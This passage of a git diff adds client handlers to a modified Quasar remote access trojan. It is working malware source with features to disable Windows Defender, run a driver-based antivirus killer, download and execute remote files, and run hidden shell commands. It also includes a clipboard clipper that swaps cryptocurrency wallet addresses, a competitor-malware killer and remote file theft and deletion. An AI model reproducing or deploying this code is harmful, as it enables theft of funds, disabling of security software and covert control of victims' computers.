{process.ExitCode}\n", + IsError = process.ExitCode != 0 + }); + } + else + { + try + { + process.Kill(); + } + catch { } + + client.Send(new AVKillerResponse + { + Output = ">> Killer.exe execution timed out after 2 minutes\n", + IsError = true + }); + } + } + + // Cleanup + try + { + Thread.Sleep(1000); + File.Delete(killerPath); + Directory.Delete(randomDir); + client.Send(new AVKillerResponse + { + Output = ">> Cleanup completed\n", + IsError = false + }); + } + catch (Exception cleanEx) + { + client.Send(new AVKillerResponse + { + Output = $">> Cleanup warning: {cleanEx.Message}\n", + IsError = false + }); + } + } + catch (Exception ex) + { + client.Send(new AVKillerResponse + { + Output = $">> EXCEPTION: {ex.Message}\n>> Stack: {ex.StackTrace}\n", + IsError = true + }); + } + }).Start(); + } + + private void MakePersistent(ISender client) + { + try + { + client.Send(new AVKillerResponse + { + Output = ">> Making driver persistent via registry...\n", + IsError = false + }); + + // Add to startup registry + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = "reg", + Arguments = "add HKLM\\SYSTEM\\CurrentControlSet\\Services\\QuasarDriver /v Start /t REG_DWORD /d 2 /f", + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = false, + RedirectStandardOutput = true, + CreateNoWindow = true, + Verb = "runas" + }; + + using (Process process = Process.Start(psi)) + { + process.WaitForExit(); + + if (process.ExitCode == 0) + { + client.Send(new AVKillerResponse + { + Output = ">> Driver set to auto-start on boot!\n", + IsError = false + }); + } + else + { + client.Send(new AVKillerResponse + { + Output = ">> Failed to make driver persistent\n", + IsError = true + }); + } + } + } + catch (Exception ex) + { + client.Send(new AVKillerResponse + { + Output = $">> ERROR: {ex.Message}\n", + IsError = true + }); + } + } + + private void StopKiller(ISender client) + { + try + { + client.Send(new AVKillerResponse + { + Output = ">> Attempting to stop Killer.exe...\n", + IsError = false + }); + + // Find and kill all Killer.exe processes + Process[] killerProcesses = Process.GetProcessesByName("Killer"); + + if (killerProcesses.Length == 0) + { + client.Send(new AVKillerResponse + { + Output = ">> No Killer.exe processes found running\n", + IsError = false + }); + return; + } + + int killedCount = 0; + foreach (Process proc in killerProcesses) + { + try + { + string procPath = proc.MainModule.FileName; + proc.Kill(); + proc.WaitForExit(5000); + killedCount++; + + client.Send(new AVKillerResponse + { + Output = $">> Killed Killer.exe (PID: {proc.Id}, Path: {procPath})\n", + IsError = false + }); + } + catch (Exception ex) + { + client.Send(new AVKillerResponse + { + Output = $">> Failed to kill process {proc.Id}: {ex.Message}\n", + IsError = true + }); + } + } + + client.Send(new AVKillerResponse + { + Output = $">> Stopped {killedCount} Killer.exe process(es)\n", + IsError = false + }); + } + catch (Exception ex) + { + client.Send(new AVKillerResponse + { + Output = $">> ERROR: {ex.Message}\n", + IsError = true + }); + } + } + + private void ExcludeCDrive(ISender client) + { + new Thread(() => + { + try + { + client.Send(new AVKillerResponse + { + Output = ">> Attempting to exclude C:\\ from Windows Defender...\n", + IsError = false + }); + + // Use registry method directly + ProcessStartInfo psiReg = new ProcessStartInfo + { + FileName = "reg", + Arguments = "add \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\" /v \"C:\\\" /t REG_DWORD /d 0 /f", + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = false, + RedirectStandardOutput = true, + RedirectStandardError = true, + CreateNoWindow = true + }; + + using (Process processReg = Process.Start(psiReg)) + { + string outputReg = processReg.StandardOutput.ReadToEnd(); + string errorReg = processReg.StandardError.ReadToEnd(); + processReg.WaitForExit(); + + if (!string.IsNullOrEmpty(outputReg)) + { + client.Send(new AVKillerResponse + { + Output = ">> Registry Output:\n" + outputReg + "\n", + IsError = false + }); + } + + if (!string.IsNullOrEmpty(errorReg)) + { + client.Send(new AVKillerResponse + { + Output = ">> Registry Error:\n" + errorReg + "\n", + IsError = true + }); + } + + if (processReg.ExitCode == 0) + { + client.Send(new AVKillerResponse + { + Output = ">> SUCCESS! C:\\ exclusion added to registry\n>> Restarting Windows Defender service...\n", + IsError = false + }); + + // Restart Windows Defender service to apply changes + ProcessStartInfo psiRestart = new ProcessStartInfo + { + FileName = "powershell.exe", + Arguments = "-Command \"Restart-Service WinDefend -Force\"", + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = false, + RedirectStandardOutput = true, + RedirectStandardError = true, + CreateNoWindow = true + }; + + using (Process processRestart = Process.Start(psiRestart)) + { + processRestart.WaitForExit(); + + if (processRestart.ExitCode == 0) + { + client.Send(new AVKillerResponse + { + Output = ">> Windows Defender service restarted\n>> C:\\ drive should now be excluded from scans\n", + IsError = false + }); + } + else + { + client.Send(new AVKillerResponse + { + Output = ">> Could not restart service automatically\n>> Please restart Windows Defender manually or reboot the system\n", + IsError = false + }); + } + } + } + else + { + client.Send(new AVKillerResponse + { + Output = $">> Registry command failed with exit code: {processReg.ExitCode}\n>> This requires administrator privileges\n", + IsError = true + }); + } + } + } + catch (Exception ex) + { + client.Send(new AVKillerResponse + { + Output = $">> ERROR: {ex.Message}\n", + IsError = true + }); + } + }).Start(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/ActiveWindowHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/ActiveWindowHandler.cs new file mode 100755 index 0000000..560c7d7 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/ActiveWindowHandler.cs @@ -0,0 +1,53 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Runtime.InteropServices; +using System.Text; + +namespace Quasar.Client.Messages +{ + public class ActiveWindowHandler : IMessageProcessor + { + [DllImport("user32.dll")] + private static extern IntPtr GetForegroundWindow(); + + [DllImport("user32.dll")] + private static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count); + + public bool CanExecute(IMessage message) => message is GetActiveWindow; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetActiveWindow msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetActiveWindow message) + { + try + { + IntPtr handle = GetForegroundWindow(); + StringBuilder windowTitle = new StringBuilder(256); + GetWindowText(handle, windowTitle, 256); + + client.Send(new GetActiveWindowResponse + { + WindowTitle = windowTitle.ToString() + }); + } + catch + { + client.Send(new GetActiveWindowResponse + { + WindowTitle = "" + }); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/AutoTaskHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/AutoTaskHandler.cs new file mode 100755 index 0000000..3072ac0 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/AutoTaskHandler.cs @@ -0,0 +1,124 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.IO; +using System.Net; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class AutoTaskHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoAutoTask; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoAutoTask task: + Execute(sender, task); + break; + } + } + + private void Execute(ISender client, DoAutoTask message) + { + try + { + switch (message.TaskType) + { + case "EXECUTE_URL": + ExecuteFromUrl(message.Param1); + break; + case "EXECUTE_DISK": + ExecuteFromDisk(message.Param1); + break; + case "COMMAND": + ExecuteCommand(message.Param1, message.Param2); + break; + case "MESSAGEBOX": + ShowMessageBox(message.Param1, message.Param2, message.Param3); + break; + } + } + catch (Exception ex) + { + Debug.WriteLine($"AutoTask error: {ex.Message}"); + } + } + + private void ExecuteFromUrl(string url) + { + try + { + string tempFile = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName() + ".exe"); + using (WebClient client = new WebClient()) + { + client.DownloadFile(url, tempFile); + } + Process.Start(tempFile); + } + catch { } + } + + private void ExecuteFromDisk(string filePath) + { + try + { + if (File.Exists(filePath)) + { + Process.Start(filePath); + } + } + catch { } + } + + private void ExecuteCommand(string shell, string command) + { + try + { + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = shell, // "cmd" or "powershell" + Arguments = shell == "cmd" ? $"/c {command}" : $"-Command \"{command}\"", + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = true, + UseShellExecute = false + }; + Process.Start(psi); + } + catch { } + } + + private void ShowMessageBox(string caption, string text, string icon) + { + try + { + // Show message box on a separate thread to avoid blocking the client + System.Threading.Thread msgThread = new System.Threading.Thread(() => + { + try + { + MessageBoxIcon msgIcon = MessageBoxIcon.None; + switch (icon) + { + case "Information": msgIcon = MessageBoxIcon.Information; break; + case "Warning": msgIcon = MessageBoxIcon.Warning; break; + case "Error": msgIcon = MessageBoxIcon.Error; break; + case "Question": msgIcon = MessageBoxIcon.Question; break; + } + MessageBox.Show(text, caption, MessageBoxButtons.OK, msgIcon); + } + catch { } + }); + msgThread.SetApartmentState(System.Threading.ApartmentState.STA); + msgThread.IsBackground = true; + msgThread.Start(); + } + catch { } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/BotKillerHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/BotKillerHandler.cs new file mode 100755 index 0000000..2fa01ad --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/BotKillerHandler.cs @@ -0,0 +1,199 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.IO; +using System.Runtime.InteropServices; +using Microsoft.Win32; +using System.Security.Principal; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class BotKillerHandler : IMessageProcessor + { + [DllImport("user32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + static extern bool IsWindowVisible(IntPtr hWnd); + + public bool CanExecute(IMessage message) => message is DoBotKiller; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoBotKiller _: + Execute(sender); + break; + } + } + + private void Execute(ISender sender) + { + int count = 0; + string currentExePath = Application.ExecutablePath.ToLower(); + + foreach (Process p in Process.GetProcesses()) + { + try + { + // Skip if we can't access the process + if (p.Id <= 4) + continue; + + string filePath = null; + try + { + filePath = p.MainModule.FileName; + } + catch + { + continue; + } + + if (string.IsNullOrEmpty(filePath)) + continue; + + string lowerPath = filePath.ToLower(); + + // CRITICAL: Never kill Velane/Quasar + if (lowerPath == currentExePath) + continue; + + string processName = p.ProcessName.ToLower(); + if (processName.Contains("velane") || processName.Contains("quasar") || + lowerPath.Contains("velane") || lowerPath.Contains("quasar")) + continue; + + // Check if process should be inspected (AsyncRAT approach) + if (Inspection(lowerPath)) + { + // Check if window is not visible (hidden process) + if (!IsWindowVisible(p.MainWindowHandle)) + { + string pName = p.MainModule.FileName; + + try + { + p.Kill(); + RegistryDelete(@"Software\Microsoft\Windows\CurrentVersion\Run", pName); + RegistryDelete(@"Software\Microsoft\Windows\CurrentVersion\RunOnce", pName); + System.Threading.Thread.Sleep(200); + + try + { + File.Delete(pName); + } + catch { } + + System.Threading.Thread.Sleep(200); + count++; + + sender.Send(new BotKillerResult + { + ProcessName = p.ProcessName, + ProcessId = p.Id, + FilePath = pName, + ThreatType = "Suspicious hidden process", + Mutex = "", + Killed = true, + Message = "Process terminated and file deleted" + }); + } + catch (Exception ex) + { + sender.Send(new BotKillerResult + { + ProcessName = p.ProcessName, + ProcessId = p.Id, + FilePath = pName, + ThreatType = "Suspicious hidden process", + Mutex = "", + Killed = false, + Message = $"Failed: {ex.Message}" + }); + } + } + } + } + catch + { + // Silently continue on error + } + } + + // Send completion message + sender.Send(new BotKillerResult + { + ProcessName = "SCAN_COMPLETE", + ProcessId = 0, + FilePath = "", + ThreatType = "", + Mutex = "", + Killed = false, + Message = $"Scan completed. Threats found and killed: {count}" + }); + } + + private bool Inspection(string threat) + { + // Never inspect our own process + if (threat == Process.GetCurrentProcess().MainModule.FileName.ToLower()) + return false; + + // Never inspect Velane/Quasar + if (threat.Contains("velane") || threat.Contains("quasar")) + return false; + + // Check suspicious locations (AsyncRAT approach) + if (threat.StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData).ToLower())) + return true; + + if (threat.StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile).ToLower())) + return true; + + if (threat.Contains("wscript.exe")) + return true; + + if (threat.StartsWith(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET").ToLower())) + return true; + + return false; + } + + private static void RegistryDelete(string regPath, string payload) + { + try + { + using (RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(regPath, true)) + { + if (key != null) + foreach (string valueOfName in key.GetValueNames()) + { + if (key.GetValue(valueOfName).ToString().Equals(payload)) + key.DeleteValue(valueOfName); + } + } + + if (new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator)) + { + using (RegistryKey key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(regPath, true)) + { + if (key != null) + foreach (string valueOfName in key.GetValueNames()) + { + if (key.GetValue(valueOfName).ToString().Equals(payload)) + key.DeleteValue(valueOfName); + } + } + } + } + catch + { + // Silently continue on error + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/ClientServicesHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/ClientServicesHandler.cs new file mode 100755 index 0000000..44bc899 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/ClientServicesHandler.cs @@ -0,0 +1,113 @@ +using Quasar.Client.Config; +using Quasar.Client.Networking; +using Quasar.Client.Setup; +using Quasar.Client.User; +using Quasar.Client.Utilities; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class ClientServicesHandler : IMessageProcessor + { + private readonly QuasarClient _client; + + private readonly QuasarApplication _application; + + public ClientServicesHandler(QuasarApplication application, QuasarClient client) + { + _application = application; + _client = client; + } + + /// + public bool CanExecute(IMessage message) => message is DoClientUninstall || + message is DoClientDisconnect || + message is DoClientReconnect || + message is DoAskElevate; + + /// + public bool CanExecuteFrom(ISender sender) => true; + + /// + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoClientUninstall msg: + Execute(sender, msg); + break; + case DoClientDisconnect msg: + Execute(sender, msg); + break; + case DoClientReconnect msg: + Execute(sender, msg); + break; + case DoAskElevate msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoClientUninstall message) + { + client.Send(new SetStatus { Message = "Uninstalling... good bye :-(" }); + try + { + new ClientUninstaller().Uninstall(); + _client.Exit(); + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Uninstall failed: {ex.Message}" }); + } + } + + private void Execute(ISender client, DoClientDisconnect message) + { + _client.Exit(); + } + + private void Execute(ISender client, DoClientReconnect message) + { + _client.Disconnect(); + } + + private void Execute(ISender client, DoAskElevate message) + { + var userAccount = new UserAccount(); + if (userAccount.Type != AccountType.Admin) + { + ProcessStartInfo processStartInfo = new ProcessStartInfo + { + FileName = "cmd", + Verb = "runas", + Arguments = "/k START \"\" \"" + Application.ExecutablePath + "\" & EXIT", + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true + }; + + _application.ApplicationMutex.Dispose(); // close the mutex so the new process can run + try + { + Process.Start(processStartInfo); + } + catch + { + client.Send(new SetStatus {Message = "User refused the elevation request."}); + _application.ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); // re-grab the mutex + return; + } + _client.Exit(); + } + else + { + client.Send(new SetStatus { Message = "Process already elevated." }); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/ClipperHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/ClipperHandler.cs new file mode 100755 index 0000000..d12b8ee --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/ClipperHandler.cs @@ -0,0 +1,164 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Text.RegularExpressions; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class ClipperHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoStartClipper || message is DoStopClipper; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + try + { + switch (message) + { + case DoStartClipper msg: + ClipperMonitor.StartClipper(msg.WalletAddresses); + break; + case DoStopClipper msg: + ClipperMonitor.StopClipper(); + break; + } + } + catch + { + // ignore + } + } + } + + public static class ClipperMonitor + { + private static bool _clipperActive = false; + private static Dictionary _walletAddresses; + private static Thread _clipperThread; + private static string _lastClipboard = string.Empty; + + // Regex patterns for crypto addresses + private static readonly Dictionary CryptoPatterns = new Dictionary + { + { "BTC", new Regex(@"\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,62}\b", RegexOptions.Compiled) }, + { "LTC", new Regex(@"\b[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}\b", RegexOptions.Compiled) }, + { "ETH", new Regex(@"\b0x[a-fA-F0-9]{40}\b", RegexOptions.Compiled) }, + { "XMR", new Regex(@"\b4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}\b", RegexOptions.Compiled) }, + { "SOL", new Regex(@"\b[1-9A-HJ-NP-Za-km-z]{32,44}\b", RegexOptions.Compiled) }, + { "XRP", new Regex(@"\br[a-zA-Z0-9]{24,34}\b", RegexOptions.Compiled) }, + { "TRX", new Regex(@"\bT[A-Za-z1-9]{33}\b", RegexOptions.Compiled) }, + { "BCH", new Regex(@"\b(bitcoincash:)?[qp][a-z0-9]{41}\b", RegexOptions.Compiled | RegexOptions.IgnoreCase) } + }; + + public static void StartClipper(Dictionary walletAddresses) + { + _walletAddresses = walletAddresses; + _clipperActive = true; + + if (_clipperThread == null || !_clipperThread.IsAlive) + { + _clipperThread = new Thread(ClipboardMonitor) + { + IsBackground = true + }; + _clipperThread.Start(); + } + } + + public static void StopClipper() + { + _clipperActive = false; + _lastClipboard = string.Empty; + } + + private static void ClipboardMonitor() + { + while (_clipperActive) + { + try + { + Thread.Sleep(500); // Check every 500ms + + if (!_clipperActive || _walletAddresses == null) + continue; + + string clipboardText = GetClipboardText(); + + if (string.IsNullOrEmpty(clipboardText) || clipboardText == _lastClipboard) + continue; + + _lastClipboard = clipboardText; + + // Check for address + foreach (var crypto in CryptoPatterns) + { + if (crypto.Value.IsMatch(clipboardText)) + { + string cryptoType = crypto.Key; + + if (_walletAddresses.ContainsKey(cryptoType) && + !string.IsNullOrEmpty(_walletAddresses[cryptoType])) + { + string replacementAddress = _walletAddresses[cryptoType]; + + // Replace the address + SetClipboardText(replacementAddress); + _lastClipboard = replacementAddress; + break; + } + } + } + } + catch + { + } + } + } + + private static string GetClipboardText() + { + string result = string.Empty; + Thread staThread = new Thread(() => + { + try + { + if (Clipboard.ContainsText()) + { + result = Clipboard.GetText(); + } + } + catch + { + // Ignore + } + }); + staThread.SetApartmentState(ApartmentState.STA); + staThread.Start(); + staThread.Join(); + return result; + } + + private static void SetClipboardText(string text) + { + Thread staThread = new Thread(() => + { + try + { + Clipboard.SetText(text); + } + catch + { + // Ignore + } + }); + staThread.SetApartmentState(ApartmentState.STA); + staThread.Start(); + staThread.Join(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/FileManagerHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/FileManagerHandler.cs new file mode 100755 index 0000000..8d21b0b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/FileManagerHandler.cs @@ -0,0 +1,579 @@ +using Quasar.Client.Networking; +using Quasar.Common; +using Quasar.Common.Enums; +using Quasar.Common.Extensions; +using Quasar.Common.Helpers; +using Quasar.Common.IO; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using System; +using System.Collections.Concurrent; +using System.IO; +using System.Linq; +using System.Security; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class FileManagerHandler : NotificationMessageProcessor, IDisposable + { + private readonly ConcurrentDictionary _activeTransfers = new ConcurrentDictionary(); + private readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads + + private readonly QuasarClient _client; + + private CancellationTokenSource _tokenSource; + + private CancellationToken _token; + + public FileManagerHandler(QuasarClient client) + { + _client = client; + _client.ClientState += OnClientStateChange; + _tokenSource = new CancellationTokenSource(); + _token = _tokenSource.Token; + } + + private void OnClientStateChange(Networking.Client s, bool connected) + { + switch (connected) + { + case true: + + _tokenSource?.Dispose(); + _tokenSource = new CancellationTokenSource(); + _token = _tokenSource.Token; + break; + case false: + // cancel all running transfers on disconnect + _tokenSource.Cancel(); + break; + } + } + + public override bool CanExecute(IMessage message) => message is GetDrives || + message is GetDirectory || + message is FileTransferRequest || + message is FileTransferCancel || + message is FileTransferChunk || + message is DoPathDelete || + message is DoPathRename || + message is DoPathCopy; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetDrives msg: + Execute(sender, msg); + break; + case GetDirectory msg: + Execute(sender, msg); + break; + case FileTransferRequest msg: + Execute(sender, msg); + break; + case FileTransferCancel msg: + Execute(sender, msg); + break; + case FileTransferChunk msg: + Execute(sender, msg); + break; + case DoPathDelete msg: + Execute(sender, msg); + break; + case DoPathRename msg: + Execute(sender, msg); + break; + case DoPathCopy msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetDrives command) + { + DriveInfo[] driveInfos; + try + { + driveInfos = DriveInfo.GetDrives().Where(d => d.IsReady).ToArray(); + } + catch (IOException) + { + client.Send(new SetStatusFileManager { Message = "GetDrives I/O error", SetLastDirectorySeen = false }); + return; + } + catch (UnauthorizedAccessException) + { + client.Send(new SetStatusFileManager { Message = "GetDrives No permission", SetLastDirectorySeen = false }); + return; + } + + if (driveInfos.Length == 0) + { + client.Send(new SetStatusFileManager { Message = "GetDrives No drives", SetLastDirectorySeen = false }); + return; + } + + Drive[] drives = new Drive[driveInfos.Length]; + for (int i = 0; i < drives.Length; i++) + { + try + { + var displayName = !string.IsNullOrEmpty(driveInfos[i].VolumeLabel) + ? string.Format("{0} ({1}) [{2}, {3}]", driveInfos[i].RootDirectory.FullName, + driveInfos[i].VolumeLabel, + driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat) + : string.Format("{0} [{1}, {2}]", driveInfos[i].RootDirectory.FullName, + driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat); + + drives[i] = new Drive + { DisplayName = displayName, RootDirectory = driveInfos[i].RootDirectory.FullName }; + } + catch (Exception) + { + + } + } + + client.Send(new GetDrivesResponse { Drives = drives }); + } + + private void Execute(ISender client, GetDirectory message) + { + bool isError = false; + string statusMessage = null; + + Action onError = (msg) => + { + isError = true; + statusMessage = msg; + }; + + try + { + // Expand environment variables in the path + string expandedPath = Environment.ExpandEnvironmentVariables(message.RemotePath); + + DirectoryInfo dicInfo = new DirectoryInfo(expandedPath); + + FileInfo[] files = dicInfo.GetFiles(); + DirectoryInfo[] directories = dicInfo.GetDirectories(); + + FileSystemEntry[] items = new FileSystemEntry[files.Length + directories.Length]; + + int offset = 0; + for (int i = 0; i < directories.Length; i++, offset++) + { + items[i] = new FileSystemEntry + { + EntryType = FileType.Directory, + Name = directories[i].Name, + Size = 0, + LastAccessTimeUtc = directories[i].LastAccessTimeUtc + }; + } + + for (int i = 0; i < files.Length; i++) + { + items[i + offset] = new FileSystemEntry + { + EntryType = FileType.File, + Name = files[i].Name, + Size = files[i].Length, + ContentType = Path.GetExtension(files[i].Name).ToContentType(), + LastAccessTimeUtc = files[i].LastAccessTimeUtc + }; + } + + client.Send(new GetDirectoryResponse { RemotePath = expandedPath, Items = items }); + } + catch (UnauthorizedAccessException) + { + onError("GetDirectory No permission"); + } + catch (SecurityException) + { + onError("GetDirectory No permission"); + } + catch (PathTooLongException) + { + onError("GetDirectory Path too long"); + } + catch (DirectoryNotFoundException) + { + onError("GetDirectory Directory not found"); + } + catch (FileNotFoundException) + { + onError("GetDirectory File not found"); + } + catch (IOException) + { + onError("GetDirectory I/O error"); + } + catch (Exception) + { + onError("GetDirectory Failed"); + } + finally + { + if (isError && !string.IsNullOrEmpty(statusMessage)) + client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = true }); + } + } + + private void Execute(ISender client, FileTransferRequest message) + { + new Thread(() => + { + _limitThreads.WaitOne(); + try + { + using (var srcFile = new FileSplit(message.RemotePath, FileAccess.Read)) + { + _activeTransfers[message.Id] = srcFile; + OnReport("File upload started"); + foreach (var chunk in srcFile) + { + if (_token.IsCancellationRequested || !_activeTransfers.ContainsKey(message.Id)) + break; + + // blocking sending might not be required, needs further testing + _client.SendBlocking(new FileTransferChunk + { + Id = message.Id, + FilePath = message.RemotePath, + FileSize = srcFile.FileSize, + Chunk = chunk + }); + } + + client.Send(new FileTransferComplete + { + Id = message.Id, + FilePath = message.RemotePath + }); + } + } + catch (Exception) + { + client.Send(new FileTransferCancel + { + Id = message.Id, + Reason = "Error reading file" + }); + } + finally + { + RemoveFileTransfer(message.Id); + _limitThreads.Release(); + } + }).Start(); + } + + private void Execute(ISender client, FileTransferCancel message) + { + if (_activeTransfers.ContainsKey(message.Id)) + { + RemoveFileTransfer(message.Id); + client.Send(new FileTransferCancel + { + Id = message.Id, + Reason = "Canceled" + }); + } + } + + private void Execute(ISender client, FileTransferChunk message) + { + try + { + if (message.Chunk.Offset == 0) + { + string filePath = message.FilePath; + + if (string.IsNullOrEmpty(filePath)) + { + // generate new temporary file path if empty + filePath = FileHelper.GetTempFilePath(".exe"); + } + + if (File.Exists(filePath)) + { + // delete existing file + NativeMethods.DeleteFile(filePath); + } + + _activeTransfers[message.Id] = new FileSplit(filePath, FileAccess.Write); + OnReport("File download started"); + } + + if (!_activeTransfers.ContainsKey(message.Id)) + return; + + var destFile = _activeTransfers[message.Id]; + destFile.WriteChunk(message.Chunk); + + if (destFile.FileSize == message.FileSize) + { + client.Send(new FileTransferComplete + { + Id = message.Id, + FilePath = destFile.FilePath + }); + RemoveFileTransfer(message.Id); + } + } + catch (Exception) + { + RemoveFileTransfer(message.Id); + client.Send(new FileTransferCancel + { + Id = message.Id, + Reason = "Error writing file" + }); + } + } + + private void Execute(ISender client, DoPathDelete message) + { + bool isError = false; + string statusMessage = null; + + Action onError = (msg) => + { + isError = true; + statusMessage = msg; + }; + + try + { + switch (message.PathType) + { + case FileType.Directory: + Directory.Delete(message.Path, true); + client.Send(new SetStatusFileManager + { + Message = "Deleted directory", + SetLastDirectorySeen = false + }); + break; + case FileType.File: + File.Delete(message.Path); + client.Send(new SetStatusFileManager + { + Message = "Deleted file", + SetLastDirectorySeen = false + }); + break; + } + + Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.Path) }); + } + catch (UnauthorizedAccessException) + { + onError("DeletePath No permission"); + } + catch (PathTooLongException) + { + onError("DeletePath Path too long"); + } + catch (DirectoryNotFoundException) + { + onError("DeletePath Path not found"); + } + catch (IOException) + { + onError("DeletePath I/O error"); + } + catch (Exception) + { + onError("DeletePath Failed"); + } + finally + { + if (isError && !string.IsNullOrEmpty(statusMessage)) + client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false }); + } + } + + private void Execute(ISender client, DoPathRename message) + { + bool isError = false; + string statusMessage = null; + + Action onError = (msg) => + { + isError = true; + statusMessage = msg; + }; + + try + { + switch (message.PathType) + { + case FileType.Directory: + Directory.Move(message.Path, message.NewPath); + client.Send(new SetStatusFileManager + { + Message = "Renamed directory", + SetLastDirectorySeen = false + }); + break; + case FileType.File: + File.Move(message.Path, message.NewPath); + client.Send(new SetStatusFileManager + { + Message = "Renamed file", + SetLastDirectorySeen = false + }); + break; + } + + Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.NewPath) }); + } + catch (UnauthorizedAccessException) + { + onError("RenamePath No permission"); + } + catch (PathTooLongException) + { + onError("RenamePath Path too long"); + } + catch (DirectoryNotFoundException) + { + onError("RenamePath Path not found"); + } + catch (IOException) + { + onError("RenamePath I/O error"); + } + catch (Exception) + { + onError("RenamePath Failed"); + } + finally + { + if (isError && !string.IsNullOrEmpty(statusMessage)) + client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false }); + } + } + + private void Execute(ISender client, DoPathCopy message) + { + bool isError = false; + string statusMessage = null; + + Action onError = (msg) => + { + isError = true; + statusMessage = msg; + }; + + try + { + switch (message.PathType) + { + case FileType.Directory: + CopyDirectory(message.SourcePath, message.DestinationPath); + client.Send(new SetStatusFileManager + { + Message = "Copied directory", + SetLastDirectorySeen = false + }); + break; + case FileType.File: + File.Copy(message.SourcePath, message.DestinationPath, true); + client.Send(new SetStatusFileManager + { + Message = "Copied file", + SetLastDirectorySeen = false + }); + break; + } + + Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.DestinationPath) }); + } + catch (UnauthorizedAccessException) + { + onError("CopyPath No permission"); + } + catch (PathTooLongException) + { + onError("CopyPath Path too long"); + } + catch (DirectoryNotFoundException) + { + onError("CopyPath Path not found"); + } + catch (IOException) + { + onError("CopyPath I/O error"); + } + catch (Exception) + { + onError("CopyPath Failed"); + } + finally + { + if (isError && !string.IsNullOrEmpty(statusMessage)) + client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false }); + } + } + + private void CopyDirectory(string sourceDir, string destDir) + { + Directory.CreateDirectory(destDir); + + foreach (string file in Directory.GetFiles(sourceDir)) + { + string destFile = Path.Combine(destDir, Path.GetFileName(file)); + File.Copy(file, destFile, true); + } + + foreach (string subDir in Directory.GetDirectories(sourceDir)) + { + string destSubDir = Path.Combine(destDir, 